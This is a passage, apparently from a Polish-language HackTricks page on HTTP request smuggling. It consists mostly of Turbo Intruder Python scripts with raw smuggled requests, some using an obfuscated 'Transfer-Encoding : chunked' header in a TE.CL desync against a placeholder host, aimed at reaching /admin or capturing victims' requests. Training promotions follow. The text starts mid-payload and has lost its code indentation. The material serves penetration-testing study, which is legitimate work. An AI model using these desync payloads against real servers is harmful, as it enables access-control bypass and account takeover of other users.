Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Z: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Narzędzia

Odniesienia

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks
{% endhint %}